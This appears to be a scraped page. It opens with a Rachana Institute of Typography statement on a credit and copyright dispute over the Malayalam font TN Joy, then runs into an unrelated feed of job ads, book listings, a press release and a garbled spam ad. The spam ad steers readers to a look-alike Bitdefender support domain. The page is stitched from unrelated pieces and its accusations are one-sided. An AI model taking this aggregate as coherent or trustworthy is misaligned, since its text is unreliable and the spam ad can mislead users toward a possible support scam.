Immediately after the font ‘TN Joy’ was released to public by Rachana Institute of Typography (RIT), on 2-Oct-2019, Santhosh Thottingal raised a question in a forum with enough number of participants to qualify as a public discussion:

@rajeeshknambiar there are lot (sic) of contributions from me, Kavya in the build scripts, tests, and feature files in https://gitlab.com/rit-fonts/tnjoy/ Consider giving credit.

On 14-Oct-2019, Santhosh followed up again.

@rajeeshknambiar did not reply to my request for giving credits in their font.

and

Ask hussain sir to give credits for font testing and building framework. Crediting anivar alone is not enough.”

To which Rajeesh responded on 19-Oct-2019, to discuss with all the copyright holders of TN Joy about the issue:

“Noted. I will try to take it up for discussion and let you know.

On 29-Oct-2019, Santhosh again followed up:

അങ്ങനെ എഴുതുകയും ചെയ്യുകയും ചെയ്ത ഫോണ്ടിന്റെ കാര്യങ്ങൾക്ക് ക്രെഡിറ്റ് കിട്ടിയില്ലെന്നാണ് പറയുന്നത് അനിവർ:) sundar, and janayugam fonts. ഇതിൽ രാജാജിയുടെ ഹെൽപ്പൊന്നും വേണ്ട. even @rajeeshknambiar can just fix it

Analysis

During the first week of Nov-2019 for the summit organized by Kerala Media Academy, all the copyright holders of TN Joy font met and discussed the issue raised by Santhosh.

As free software developers and users, it was not our intention to violate copyright or appropriate credit of another free software developer’s work at all. Not only in intention, but we strived to achieve that in all our projects by acts. So, this accusation came as a surprise to us and we decided to take a deeper look at how this issue originated and what the root cause is, to address it properly.

We did a detailed analysis and documented the following details.

Technical background

  1. A Malayalam Unicode font has two essential parts — the Glyphs (അക്ഷരരൂപങ്ങൾ) and the OpenType shaping lookup rules. Unlike Latin fonts, both of these are necessary for proper shaping. The final TTF/OTF/WOFF2  contains both Glyphs and OpenType shaping rules to make a Malayalam Unicode font usable software. Without either, such a software is not usable.
Figure 1: Malayalam text without shaping (left) and with correct shaping (right).
  1. The Malayalam opentype features (GSUB and GPOS ‘lookup rules’) used in font ‘TN Joy’ developed by Rachana Institute of Typography (RIT) are adapted from that of font ‘Sundar’ which in turn are adapted from feature file of ‘Rachana’.
  2. To develop the feature file of Rachana over the years, many have contributed including the original author Hussain KH , Suresh P, Santhosh Thottingal, Rajeesh KV, Kavya Manohar et al. [1].
  3. Hussain KH invented and implemented the glyph naming conventions (‘k1’ for ‘ ക’, ‘xx’ for ‘ ്’ etc. instead of names like ‘uni0D15’ etc.), which made font featuring highly comprehensible for programming and much easier to maintain. This naming scheme is followed by all fonts maintained by Swathanthra Malayalam Computing (SMC) and RIT. This was also the naming scheme in fonts developed by ATPS and when it was pointed out that those fonts were derived from SMC’s, the immediate change made was renaming the glyphs and lookup rules [2, 3, 4].
  4. Rajeesh is the original author of lookup rules of SMC’s fonts for revised ‘mlm2’ OpenType specification for Malayalam, and made it possible to support both ‘mlym’ and ‘mlm2’ specification in a single font. This resulted in making a single font work well with Windows XP, Pango/Qt4 era applications and Uniscribe, HarfBuzz era applications [5].
  5. In 2015, Santhosh split the comprehensive lookup rules from the Fontforge SFD file of Rachana into a separate feature file, but the copyright statements were not preserved [4]. It is our opinion that removing copyright statements is violation of copyright act (hence a crime) and immoral in the free software world. This is also the root cause for missing copyright in the OpenType lookup rules and build script, of the fonts in question.
  6. The same lookup rules in 2, 4 and 5 are used and adapted by subsequent fonts developed by SMC and RIT, such as Chilanka, Manjari, Sundar, Gayathri, TN Joy etc. Rajeesh did not claim for credit or copyright when Manjari or Gayathri was released.

RIT’s statement

With this background,

  1. Fonts developed, maintained and distributed by both SMC  and RIT, specifically its OpenType lookup rules + fontforge based build tool + test cases are at the heart of this issue. This is caused by the change introduced by Santhosh in [6].
  2. The copyright holders of TN Joy font were made aware of such ‘credit’ issue — the definition of which Santhosh has not clarified and in RIT’s understanding is sufficient and limited to ‘copyright’. Thanks for bringing light into such a potential legal and moral risk that affects the users and organizations using these fonts.
  3. RIT  would like to acknowledge the copyright of Santhosh Thottingal and Kavya Manohar for the development of ‘Sundar’ and ‘TN Joy’ in the areas of lookup rules, the ‘build script’ and comprehensive ‘test file’. RIT  is willing to add the missing copyright notice to these files;

and RIT asked Santhosh to consider:

  1. Preserve the copyright of the original authors of the ‘lookup rules’ and Naming convention (notation for Glyphs) in all these fonts. The copyright and license statement should read:

“Copyright: Digitized data copyright (c) 2004–2005 Rachana Akshara Vedi (Chitrajakumar R, Hussain KH, Gangadharan N, Vijayakumaran Nair, Subash Kuraiakose), (c) 2006–2016 Hussain KH, Suresh P, Santhosh Thottingal, Rajeesh K Nambiar, Swathanthra Malayalam Computing (http://smc.org.in). This file is licensed under OFL  1.1.”

  1. The Fontforge based ‘build script’ added by Santhosh used to generate TTF/OTF/WOFF/WOFF2 files is adapted from that of Amiri font by Khaled Hosny [7] without preserving copyright or attribution. RIT requests to credit the original author[s] of this tool. It is of our opinion that removing copyright statements from a free software program code is illegal and immoral. It is also hypocritical when a person who asserts one’s own credit does this crime to other well-known and respected free software developer[s].
  2. Test cases in the ‘test file’ are contributed by various contributors, RIT  request to add the attribution of such contributors to the extent possible (Kavya Manohar, Santhosh Thottingal, Rajeesh KV). Santhosh has responded to this request as “test cases were mainly prepared by Kavya and no need to have attribution”, but RIT  firmly believes the copyright statements of the contributors must be added.
  3. The original author of ‘mlym.sty’ file [8] to typeset Unicode Malayalam using XeTeX is Suresh P, which was enhanced by Rajeesh KV with inputs from Hussain KH. Due to frequent requests on how to typeset Malayalam using Unicode, in 2013 Rajeesh wrote a wiki page [9] with basic details, which was later extended by other developers with instructions to install and setup XeTeX packages. This wiki article was later extended by Santhosh by adding matter from Wikipedia. This article was then copied and published in Santhosh’s blog [10] without attributing the authors, and [10] is frequently provided by Santhosh as the first response to general public asking for documentation on how to typeset Malayalam using XeTeX. It is shockingly hypocritical that plagiarism is practised by a well known free software developer who asserts one’s own credit without any respect to others copyright or credit. RIT  would like Santhosh to either: (a) redact [10] and redirect to [9] instead, or (b) credit the original authors in [10].

RIT  stopped the analysis and investigation of Santhosh’s claim at this point, as we have identified the root cause of missing copyrights and these are the important topics directly affecting RIT  developers.

Conclusion

RIT  tried to resolve the issue in private discussion with Santhosh Thottingal but unfortunately it did not succeed. Santhosh has not agreed to reinstate the copyright statement of original authors. Santhosh did not respond to many of the pointed questions we raised and deflected on answering others. Santhosh also refused to clarify what he means by ‘credit’ despite repeated pointed questions. Santhosh withdrew his claim for credit in one of the emails; and it is possible that he could change the mind any time and the issue could resurface. This surrounds the fonts by SMC  and RIT  in Fear, Uncertainty and Doubt (which the corporate proprietary companies successfully used against free software for years) and put all the individual users and organizations and developers using these fonts under legal risk and moral ambiguity.

Thus,

  1. RIT  has added proper copyright statements to all the software used in building its fonts, viz. ‘Sundar’ and ‘ TN Joy’ [11,12].
  2. RIT  believes that our primary responsibility is towards the individual and institutional users of our fonts and developers depending on our tools; and they should be able to use our fonts and tools without any legal risk or moral ambiguity. RIT, to the best of its knowledge, has fulfilled that responsibility and strive to do so.
  3. RIT also understands that as with any issue in the free software world, the community would be divided, and it is a painful thing. RIT request the community to carefully consider all the facts before making a choice.

This will be the final public statement of RIT on the copyright issue raised by Santhosh Thottingal.

Signed

  • KH Hussain
  • CV Radhakrishnan
  • PK Ashok Kumar
  • KV Rajeesh

References

  1. Rachana font commit history, URL https://gitlab.com/smc/…
  2. Kathir font licensing issue (1), 2014, URL http://lists.smc.org.in/…
  3. Kathir font licensing issue (2), 2014, URL http://lists.smc.org.in/…
  4. ATPS  fonts licensing issue, 2015, URL https://groups.google.com/…
  5. Introducing and integrating ‘mlm2’ OpenType shaping rules, 2013, URL https://gitlab.com/smc/…
  6. Split Glyphs and OpenType shaping rules, 2015, URL https://gitlab.com/smc/…
  7. Amiri font build tool, URL https://github.com/alif-type/…
  8. XeTEX Malayalam style file for ‘Logbook of an Observer’, 2012, URL https://github.com/smc/…
  9. Typesetting Malayalam using XeTEX, SMC  Wiki page history, 2013, URL https://wiki.smc.org.in/…
  10. 2014, https://thottingal.in/blog/…
  11. Sundar font, reinstate copyright and license statements, 2019, URL https://gitlab.com/rit-fonts/…
  12. TN Joy font, reinstate copyright and license statements, 2019, URL https://gitlab.com/rit-fonts/…

Profile of the signatories

  • KH Hussain
    Library and information scientist by training and profession, font designer and developer of several fonts including, Rachana, Meera, Meera Inimai, TN Joy, RSugathan, Janayugom, Keraleeyam, Uroob, etc., free software activist, released all fonts under Open Font License. Played an important role in the migration of Janayugom dail to free software based production technologies.
  • CV Radhakrishnan
    Free software activist and TeX programmer, one of the founders of the Free Software Foundation of India and Indian TeX Users Group. Organized two annual meetings of the TeX Users Group in Trivandrum in 2002 and 2011. Wrote several packages (libraries) in LaTeX and released under free license (LPPL) at Comprehensive TeX Archive Network (CTAN).
  • PK Ashok Kumar
    Typesetter by profession and training, has four decades of extensive experience in typesetting right from the age of metal typefaces through digitized typesetting including TeX and LaTeX. Free content activist and principal tester for fonts developed by RIT, played a major role in the migration of production of Janayugom daily using free software.
  • KV Rajeesh
    Free software developer and user. Fedora project developer since 2008 and KDE  developer since 2011. Font maintainer and language computing contributor to Swathanthra Malayalam Computing since 2008. Member of Indic testing team for HarfBuzz. Google Summer of Code mentor. Contributes to various free software projects including Qt, GNOME, VLC, Odoo, Fontforge, SILE, ConTeXt, Okular, etc.

          

Program Director for Next Generation Student Success | Christian Brothers University

 Cache   
Memphis, Tennessee, Requirements: Master's degree in a related field Three or more years' work experience in academic advising and/or student success programming for underprepared and at-risk college students Hig
          

(2019 – in corso) EC/Dg REGIO

 Cache   
Support and advice DG Regional and Urban Policy in its dialogue with Italian authorities on the programming of 2021-2027 European Structural and Investment Funding by examining Italy’s self-assessment of fulfilment of enabling conditions
          

Cymatics The Ultimate MIDI Collection (MIDI, WAV)

 Cache   
Cymatics The Ultimate MIDI Collection (MIDI, WAV)

Category: Technical

Read more
          

Penetration Tester's Open Source Toolkit, 3rd Edition

 Cache   
Penetration Tester's Open Source Toolkit, 3rd Edition

Category: Technical

Read more
          

Google Hacking for Penetration Testers

 Cache   
Google Hacking for Penetration Testers

ISBN: 1597491764
Category: Technical
Tag: Security/Hacking

Read more
          

LEGO Mindstorms Masterpieces; Building Advanced Robots

 Cache   
LEGO Mindstorms Masterpieces; Building Advanced Robots

ISBN: 1931836752
Category: Technical

Read more
          

Administering Data Centers; Servers, Storage, and Voice over IP

 Cache   
Administering Data Centers; Servers, Storage, and Voice over IP

ISBN: 047177183X
Category: Technical

Read more
          

Microsoft Windows Server 2008 R2 Administrator's Reference; The Administrator's Essential Reference

 Cache   
Microsoft Windows Server 2008 R2 Administrator's Reference; The Administrator's Essential Reference

Category: Technical

Read more
          

Alternate Text Browser lets you browse several Programming Languages

 Cache   

If you want an easy way to browse through text, HTML, and XML, then the default text tool that comes with Windows 10 is not ideal. The same goes if you want to highlight syntax for all the popular programming [...]

This post Alternate Text Browser lets you browse several Programming Languages is from TheWindowsClub.com.


          

IT Project Manager for Supply Chain - Mobile Programming LLC - San Francisco, CA

 Cache   
7+ years IT Project Manager experience in Supply Chain projects required • Thorough understanding of supply chain processes and data flow • Techno Functional…
From Mobile Programming LLC - Tue, 12 Nov 2019 04:22:26 GMT - View all San Francisco, CA jobs
          

Faculty Member, Community Energy and Environmental Planning (Academic Programming Appointment) - University of Saskatchewan - Saskatoon, SK

 Cache   
Faculty Member, Community Energy and Environmental Planning (Academic Programming Appointment) (req4726). The University of Saskatchewan values diversity, and…
From University of Saskatchewan - Thu, 25 Jul 2019 00:18:39 GMT - View all Saskatoon, SK jobs
          

Offer - Activate bitdefender with key code central.bitdefender.com - USA

 Cache   
central.bitdefender.com- Manage Bitdefender Account at central.bitdefender.com and ActivateBitdefender, Manage Billing Information, Bitdefender Login and so forth. Anothermainstream name of a Security and Antivirus Application is the Bitdefender. Itdistributeshostile to infection programming, web security programming, endpoint securityreprogramming, and other cybersecurity items and administrations. You canlikewise visit their site and get an item for your Windows or Mac gadget. As wetalk about, the Bitdefender gives a gigantic assortment of items and to dealwith these items there is likewise a smooth overseeing framework called central.bitdefender.com.central.bitdefender.com is a web onstage where you can access to the item's online highlights and benefits and canperform significant assignments on gadgets Bitdefender introduced on. You cansign in to your Bitdefender account from any computer or cell phone associatedwith the Internet by getting to the connection.For any problem-related Avast Software contact our:- central.bitdefender.comvisit us: https://ca-bitdefender.com/
          

What Developers Need to Know About Java Security

 Cache   

Java gained a reputation as a secure programming language when it was introduced in the mid-1990s. At that time, C or C++ was used for the majority of business programming. Java removed many pitfalls and vulnerabilities of those languages, like manual memory allocation.

This reputation as a more secure language does not mean that all Java code is automatically secure. Developers still have to make sure that they deliver secure code. Fortunately, you can stay on top of your Java security by keeping an eye on possible Java threats.


          

Controls Engineer

 Cache   
KY-Georgetown, Permanent position: Highly established Tier 1 Automotive supplier is seeking an Electrical Engineer to join their team just north of Lexington, KY. The Electrical Engineer will be responsible for preparing electrical design for large scale industrial and manufacturing projects. Ideally seeking someone with a strong background in Robotics and PLC programming. Relocation assistance available Respons
          

Big data, big deal: what a career in data science really takes | Monash University - The New Daily

 Cache   
When we talk about big data we picture the giant tech companies: Facebook, Amazon, Google by Monash University.

Photo: Screenshot from Monash University's Video
But skills in statistics, business analytics and data science are increasingly sought-after across a range of organisations and industries you may not have thought of, such as retail, healthcare, the environmental sector and not-for-profits...

Professor Rob J. Hyndman, an internationally known statistician at Monash Business School, uses the power of large data sets to address forecast demand for electricity and estimate expenditure on Australia’s Pharmaceutical Benefits Scheme, among other research topics...

Professor Dianne Cook, one of the world’s top statisticians and the third woman globally to be elected to the R Foundation, a body which supports the open source programming language ‘R’, is Course Director and one of the lead course developers

“The Master of Business Analytics is developed to train the next generation of data scientists. There are a lot of new and exciting job prospects in this field,” says Professor Cook...

Ready to transform the world of business through data?

Find out more about Monash Business School’s Master of Business Analytics.
Read more...

Source: The New Daily

          

Prioritizing STEM and coding won’t fill one of the biggest gaps in education | Engineering The Future - Quartz

 Cache   
...one question is often on my mind, says Tara Chklovski, founder and CEO.

Teaching our kids STEM and coding won’t prepare them for the future.

Like a lot of working parents, when I’m walking my daughters to school or listening to them recount their days at the dinner table, one question is often on my mind:

What should I be doing to prepare them for the world they’ll enter as adults?...

The response from schools so far has been to promote STEM—Science, Technology, Engineering, and Math—education and to teach students to code. But will these skills really equip our kids to find success in the future world of work?...

I’m inspired by computer scientist Seymour Papert’s belief that it’s possible to leapfrog traditional learning pathways using technology. Almost 40 years ago, Papert predicted that children could develop programming skills, such as debugging, even earlier than literacy skills, through his example of a three-year-old who couldn’t read but could verbally and logically query a computer program to learn about bears.

Source: Quartz

          

Full Time Job - Information Technology Librarian

 Cache   
Job no: 493111
Work type: Faculty- Librarian
Location: UMBC Campus
Categories: Library


Responsibilities:

As part of the Library Information Technology Services (LITS) division, the I.T. Librarian oversees the daily operations of IT support and AV services for staff computing as well as AV deployment in the Library & Gallery. Works closely with DolT in management of the Library's public computing and AV resources. This position works collaboratively in a diverse and inclusive environment with librarians and staff, both inside and outside of the Library & Gallery, to implement effective and equitable technological solutions including assistive technologies and to identify current and emerging technologies to meet the evolving needs and expectations for an academic library environment. Assesses and documents condition and use of technologies in the building; makes recommendations on existing and emerging technology and resources based on gaps in meeting user needs and emerging trends. The IT Librarian is responsible administering and maintaining library applications including, but not limited to, ILLiad, CONTENTdm, Connexion, Ares, Aleph, and EBSCO Discovery Services (EDS). In addition, the IT Librarian supports efficient use of technology for employees in the Library & Gallery including through management and training for various systems, development of best practices for document management and use of cloud systems, and development of procedures and training for other topics as needed. The position also assists with the coordination and continued development of local digitization projects and with defining and implementing the Library & Gallery's digital preservation strategy. This position also manages and maintains servers for storage and backups. Other duties as assigned.


Required Minimum Qualifications:

  • Requires a Master's degree from an ALA-accredited library school or information science program
  • Knowledge of computer workstations, networking, and computer security.
  • Knowledge of web client and server applications, databases, and Web programming environments.
  • Knowledge or experience working with integrated library systems and the application of technology to enhance effectiveness in library operations.
  • Demonstrated knowledge of technology trends, standards, information technology best practices, and issues in academic libraries.
  • Demonstrated working knowledge of information technology principles, processes, systems and standards, including operating systems, systems security, wireless networking, and digital initiatives and emerging web technologies.
  • Demonstrated experience in progressively responsible supervisory positions, managing multiple priorities.
  • Excellent communication skills (verbal and written)
Preferred Qualifications:


  • Background in computer science or related field
  • Demonstrated experience with system administration and network administration.
  • Experience working with digital repositories or working to develop projects that support locally digitized scholarly content.
  • Experience leading projects or implementing new technologies, preferably in an academic library environment.
  • Experience with Ex Libris products
Screening of Applications Begins:

Review of application materials will begin December 20, 2019 and will continue until the position is filled.


Salary & Benefits:

Position is a 12-month library faculty appointment at anticipated rank of Librarian II. Minimum salary: $65,000, comprehensive benefits. 

The successful candidate will be expected to meet library and university requirements for reappointment, promotion, and permanent status, as outlined in part 6.6 of the Faculty Handbook - http://provost.umbc.edu/faculty-handbook/.

Hours:


This is a full time (40 hrs/wk) position, Monday to Friday.

UMBC is an Affirmative Action/Equal Opportunity Employer. Applications from women, minority group members, veterans and individuals with disabilities are encouraged to apply.


As required by the 1986 Immigration Act, be prepared to present acceptable documentation upon hire showing your identity and that you are a U.S. citizen or an alien who is authorized to work.

Apply here.


          

Relocation Readiness Program Educator - Fort Drum, NY | Cornell University

 Cache   
Fort Drum, New York, This position will serve as the Relocation Readiness Program Educator for Cornell Cooperative Extension Association of Jefferson County and will implement Relocation Readiness programming for a menu
          

IT / Software / Systems: Sr. Technical Operations Support - Miami, Florida

 Cache   
Title: Technical Operations SupportLocation: Miami, FLDuration: 06+ months Technial Skills:--- Medium- Advanced SQL skills --- Knowledge of Java programming and C# ---- Customer Service -Responsibilities:--- Provides service -support for -businesses (B2B) and enterprises (B2E) that have product -and service agreements with -Client--- Responsible for overall satisfaction and retention of these business customers through knowledge -of their core business and products - Loyalty Products (Benefits & Insurance, Rewards and Offers programs)--- Builds long-term customer relationships and ensures timely response and resolution of issues--- Serves as a technical resource to assist with the resolution of customer inquiries; collaborating with more senior resources to ensure complete and prompt response--- Supports testing as well as process improvements efforts with the voice of the customer in mind--- Reviews customer issue logs and assists with resolution development, escalating issues that require more advanced knowledge--- Gains exposure to Client products/services within a particular discipline or product line--- May provide guidance to less experienced team members -Experiences:--- Experience assisting troubleshooting efforts to develop a high quality customer resolution--- Demonstrated knowledge of customer technical service standards, processes and tools--- Experience delivering accurate and timely resolutions under direct guidance - ()
          

Web Administrator | ASGE

 Cache   
Downers Grove, IL, Requirements Bachelor’s degree in Web programming, content communications, marketing or related field required Minimum of five (5) years web-related and IT experience managing multiple projects
          

IT / Software / Systems: PHP Web Developer - Miami, Florida

 Cache   
PLEASE DO NOT APPLY BEFORE READ THE COMPLETE POST!!If you are a Experienced PHP Developer BASED in South Florida read on! We are looking for new talent for our offices in Miami. We are Miami based company, branch of a French company specialized on SIMcards and Telecom platforms.--- We are constantly growing and in need to of a strong web developer to join our growing team immediately.--- What you need - Bachelor of Science in Computer Science or related degree- Experience with MVC framework, ( Symfony is a MUST)- Experience with PHP (must)- Experience with relational databases such as MySQL, Oracle.- Experience with linux- Experience with HTML, CSS, Javascript (AJAX/---DOM), Java- Experience with Webservices, SOAP, RESTAPI What You'll be doing -Creating web applications -Create front, and back-end applications.----Build on commercial, open-source, and custom frameworks.----Work with various programming languages and protocols.--- What's in it for you- Possibility to work in a high-tech environment- Multidisciplinary team based in Miami/Argentine/Middle East. We are interested in every qualified candidate who is eligible to work in the United States. However, we are not able to sponsor visasThis is a full time onsite job in Miami, if you are not able to work under this premise please do not apply. ()
          

Executive: Consumer Insights Manager - Boca Raton, Florida

 Cache   
The Customer Experience Manager is responsible for creating Customer knowledge by providing relevant and actionable process, protocol and systems design recommendations that will shape general Consumer experience and influence the Service Cycle and marketing activities as well as the overall customer strategy. Responsible for analyzing the trends collected from customer escalations, BBB complaints, Media and survey sources to convert the data into insights and actions. Using Marketing expertise the insights will inform marketing initiatives, process, product and technology recommendations. This will be accomplished through extracting data from existing data sources (transactional and customer databases) as well as summarizing the findings for business partners. Will support and interact with the Operations, Product and Marketing teams. The CX Manager will develop a broad and deep understanding of the customer behaviors and create a customer journey map to take the customer experience to the highest levels. RESPONSIBILITIES: Define survey tools, Analyze transactional and customer data, perform cross-tabulations and statistical analysis, provide insights into consumer relationship patterns, and develop hypotheses about trends. Responsible for both recurring/standardized reporting as well as adhoc projects. Perform independent data mining and database research to identify customer opportunities. Define, design and map customer journey detailed roadmap and propose systems, service and marketing initiatives QUALIFICATIONS: Bachelor's degree in Marketing. Experience with NPS or other VOC analytics preferred. Demonstrated analytic skills (ROI, profitability, customer segmentation, etc.) Database and data analysis experience required: demonstrated use of Relational databases and programming. Familiarity with NICE tools is a plus. Proficient with MS Excel, MS PowerPoint. Must be able to take verbal business requirements and convert them into results Must be able to quickly translate data into concise and insightful executive summaries. Must be an effective project manager. This position requires an individual who is able to manage multiple projects simultaneously. This individual must also be able to work independently in a fast-paced, high-energy environment. The ability to multitask will be a key to success. Strong written and verbal skills are a must. Experience delivering C-Suite presentations is required ()
          

IT / Software / Systems: Senior Software Engineer - Fort Lauderdale, Florida

 Cache   
The ideal candidate is a self-motivated, multi-tasker, and demonstrated team-player. The client is experiencing incredible growth as they just completed a large merger and relocated to Fort Lauderdale You will be a lead developer responsible for the development of new software products and should excel on multiple competing priorities with little supervision. Responsibilities Develop software solutions based on needs by studying systems flow, data usage and processes to investigate issues Come up with solutions by creating documentation, diagrams, charts and clear code Studying development tools, programming techniques and computing equipment Work with Engineers to apply best practices and create new products Take ownership of developing projects Qualifications Bachelor's degree in Computer Science preferred 5 years of relevant work experience Solid understanding of algorithms and data structures Knowledge of Relational Databases (Oracle and SQL) Java and Python Ability to multi-task, organize, and prioritize work ()
          

Transportation Modeling Intern | Delaware Valley Regional Planning Commission

 Cache   
Philadelphia, Pennsylvania, Qualifications Strong analytical, quantitative, and problem solving skills Hands-on experience with Python, R, or other programming languages Ability to work in small teams, under the directio
          

A day in the life of a 23-year-old Tokyo game programmer

 Cache   

Masa is a 23-year-old game programmer at Bandai Namco Studios in Tokyo. In this 13-minute-video made by Paolo From Tokyo, we see what Masa's life is like, from the moment his alarm goes off in the morning until he is back at home making a Gundam model before he goes to sleep.

From the YouTube description:

We'll even interact with directors from popular Japanese video game titles such as Tekken and CodeVein. Plus we'll get to see what a Japanese programmer from one of the large Video Game companies in Japan does after work with friends. This look inside a Japanese game dev's life is pretty unique and should provide some insight for those people who want to work in Japan as a game developer or game programmer. Also, this day in the life of a Japanese programmer will show you what it takes to be a Japanese programmer. As you would expect, most of the work day is spent programming and coding, but there are other unique aspects of the Japanese programmers life we are able to see in this video.

Image: YouTube Read the rest


          

Ben Frow Adds Comedy Central, MTV, Nickelodeon & Paramount Network To Remit

 Cache   

Ben Frow is getting a promotion. Channel 5's Director of Programmes has been promoted to Director of Programming for Viacom International Media Networks' UK operations. The promotion sees Comedy Central, MTV, Nickelodeon and Paramount Network added to his remit.

The post Ben Frow Adds Comedy Central, MTV, Nickelodeon & Paramount Network To Remit appeared first on TVWise.


          

Making a directory a zip file

 Cache   

Don;t be shy, we all started out without knowing anything about programming.

I think you should take a break and learn how to create a webpage. First start with am index.html web page then create an index.php web page.

I will help later and you will learn about using free web hosts.

Can you give use the URL of your free web host and can you upload a very simple index.html file using the following:

!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta 
  name="viewport" 
  content="width=device-width,height=device-height,initial-scale=1">
<title> Hello world - my first web page </title>
<style>
body {
  font-family: BlinkMacSystemFont, apple-system, 
    'Segoe UI', roboto, helvetica, arial, sans-serif;
  font-weight: normal; font-size: 1em; line-height: 1.4em;
  background-color: rebeccapurple; color: snow;
}
</style>
</head>
<body>
  <h1> Hello world </h1>
</body>
</html>

          

Programming of Saturday, 30.11.2019

 Cache   
Programming of Saturday, 30.11.2019 -
          

Programming of Friday, 29.11.2019

 Cache   
Programming of Friday, 29.11.2019 -
          

Programming of Thursday, 28.11.2019

 Cache   
Programming of Thursday, 28.11.2019 -
          

Programming of Wednesday, 27.11.2019

 Cache   
Programming of Wednesday, 27.11.2019 -
          

Programming of Tuesday, 26.11.2019

 Cache   
Programming of Tuesday, 26.11.2019 -
          

Programming of Monday, 25.11.2019

 Cache   
Programming of Monday, 25.11.2019 -
          

Regular Youth Programming Holiday Break

 Cache   
Regular weekly youth programs take a winter hiatus for the holiday!
          

2015 Cnc Programming

 Cache   
2015 Cnc Programming
          

STEAMkids

 Cache   
Event date: December 13, 2019
Event Time: 04:00 PM - 05:00 PM
Location:
508 N. Cusick Street
Maryville, TN 37804
Description:
Elementary Aged Programming - Grades K-5 (Every Friday)
          

Art with Amanda: Craft Lessons for Kids

 Cache   
Event date: December 14, 2019
Event Time: 01:00 PM - 02:00 PM
Location:
508 N. Cusick Street
Maryville, TN 37804
Description:
Elementary Aged Programming - Ages 5-12 (Every Saturday)
          

NOMINATE YOUR FAVORITE S.T.E.M. TEACHERS FOR NBC 4 NEW YORK & TELEMUNDO 47’S “WEATHER KIDS STAR TEACHER AWARDS”

 Cache   

NEW YORK NY – (November 25, 2019) – Recognizing S.T.E.M. teachers who are making a difference in our classrooms and communities for the second consecutive year, NBC 4 New York and Telemundo 47 announced that nominations are now being accepted for their Weather Kids Star Teacher award program. Presented by Raymour & Flanigan, Tri-State parents, students, community leaders and fellow educators can visit nbcnewyork.com/weatherkids or telemundo47.com/ninosdeltiempo to review full contest rules and nominate their favorite educators through December 31.

“Our Star Teachers are the ultimate change agents, combining a passion for S.T.E.M. education with strong character and a record of results. They are role models and represent the very best in our communities. We look forward to recognizing these unsung heroes and celebrating their many achievements,” said Eric Lerner, President and General Manager of NBC 4 New York.

The Weather Kids Star Teacher awards program builds on NBC 4 New York and Telemundo 47’s popular Weather Kids/Niños del Tiempo classroom-based weather education program, which augments existing science and technology instruction to provide a “real world” look at weather forecasting for local elementary school students. To date, weather experts from both stations made over 40 visits to classrooms and museums in 12 Tri-State counties. More than 2,600 students have participated in the program during this time.

“Here at Telemundo 47, our La Autoridad en El Tiempo weather team takes great pride in sharing their knowledge with students, teachers and the many communities we serve. Their passion is a result of the many teachers who forged their life-long interest in the sciences. Awarding a new class of Star Teachers and publicly celebrating their achievements is a very important way to ‘pay it forward’ and continue thanking the educators who have gone the extra mile for their students,” said Cristina Schwarz, President and General Manager of Telemundo 47.

When submitting their on-line nomination, individuals will have the opportunity to list the many reasons why a specific science, technology, engineering or math teachers is deserving of the honor. Nominees are encouraged to be specific and share an original story that truly encapsulates who that teacher is deserving of this honor.

Four Tri-State teachers will be selected for the awards, with each receiving a special visit from Storm Team 4 and La Autoridad En El Tiempo representatives in March 2020. In addition to commemorative plaques for the winning teacher and their school, NBC 4 New York and Telemundo 47 will donate $1,000 to the school of each winning teacher, benefitting the learning needs of the winning teacher’s students.

Thanks to the generosity of “Weather Kids Star Teacher Awards” presenting sponsor Raymour & Flanigan, a surprise gift will also be made benefitting the classroom and school of the winning teacher.

“We are proud to celebrate the accomplishments of our Star Teachers and support S.T.E.M. education in our Tri-State communities. Our partnership with NBC 4 New York and Telemundo 47 for Weather Kids Star Teacher Awards and the Supporting our Schools school supply drive provides another important platform for Raymour & Flanigan to give back and show our appreciation for impactful leaders in the communities we serve,” said Elisabeth Dwyer, Director of Media and Special Events for Raymour & Flanigan.

Earlier this year, NBC 4 New York and Telemundo 47 honored three Tri-State educators with the Weather Kids Star Teacher award. They included:

  • Ann Cervone, STREAM Integrator at Christ the Teacher School in Fort Lee, NJ;
  • Greg Grambo, NASA employee turned Science and Technology Teacher at Louis Armstrong Middle School in East Elmhurst, NY;
  • Brent Smart, Science Team Leader at Brownsville Ascend Lower School in Brooklyn, NY

For more information on NBC 4 New York or Telemundo 47, please visit nbcnewyork.com or telemundo47.com.

About NBC 4 New York / WNBC
NBC 4 New York / WNBC is the flagship station of the NBC Owned Television Stations division of NBCUniversal, serving the New York Tri-State area with an unparalleled commitment to broadcast excellence for more than 75 years. The station features New York’s largest investigative reporting team, the I-Team and includes Edward R. Murrow and Emmy Award-winning journalists who successfully track down the answers to the questions most important to viewers. Storm Team 4, the station’s trusted weather team, utilizes the most accurate and the most powerful weather technology available to keep Tri-State viewers informed and safe when severe weather strikes. This includes StormTracker 4, the only commercial high-frequency S-Band dual polarization fixed Doppler weather radar operating in the Northeast.

In addition to NBC 4 New York’s primary channel, other programming outlets include COZI TV, the station’s multicast channel, and out-of-home platforms, including TV screens in taxi cabs, elevators and aboard New York-New Jersey PATH trains. The station also delivers news and information across all platforms, including its dedicated website, mobile app and social media platforms.

About Telemundo 47 New York / WNJU
Telemundo 47 / WNJU is the Telemundo television station serving Spanish-speaking viewers in New York, New Jersey and Connecticut for more than 50 years. The Tri-State’s Spanish-language broadcasting channel for soccer, Telemundo 47 will offer exclusive Spanish-language coverage of the 2022 and 2026 FIFA Men’s World Cup™ tournaments and the 2025 FIFA Women’s World Cup™ tournament. Delivering more than 27 hours of locally-produced news, information and entertainment programing each week, Telemundo 47 offers comprehensive breaking news coverage and features the New York market’s only team of bilingual meteorologists, La Autoridad en El Tiempo, who use cutting-edge technology to keep viewers and their families safe and informed. This includes Tele Doppler 47, con tecnología S band, the most powerful and most accurate weather technology available.

Telemundo 47’s local consumer investigative unit, Telemundo Responde, returns every telephone call, responds to every electronic inquiry and has recovered more than $2 million for local viewers. The station also features Acceso Total, the region’s only local entertainment variety program with TeleXitos, the station’s multicast network, offering viewers many beloved, iconic television series in an easy-to-watch, comfortable Spanish-language format. As a station, Telemundo 47 demonstrates its commitment to the communities it serves by cultivating local partnerships with organizations that reflect the diversity of the local market. Telemundo 47 also provides news and information across all platforms, online at Telemundo47.com, and via its dedicated mobile app and across social media.

About Raymour & Flanigan

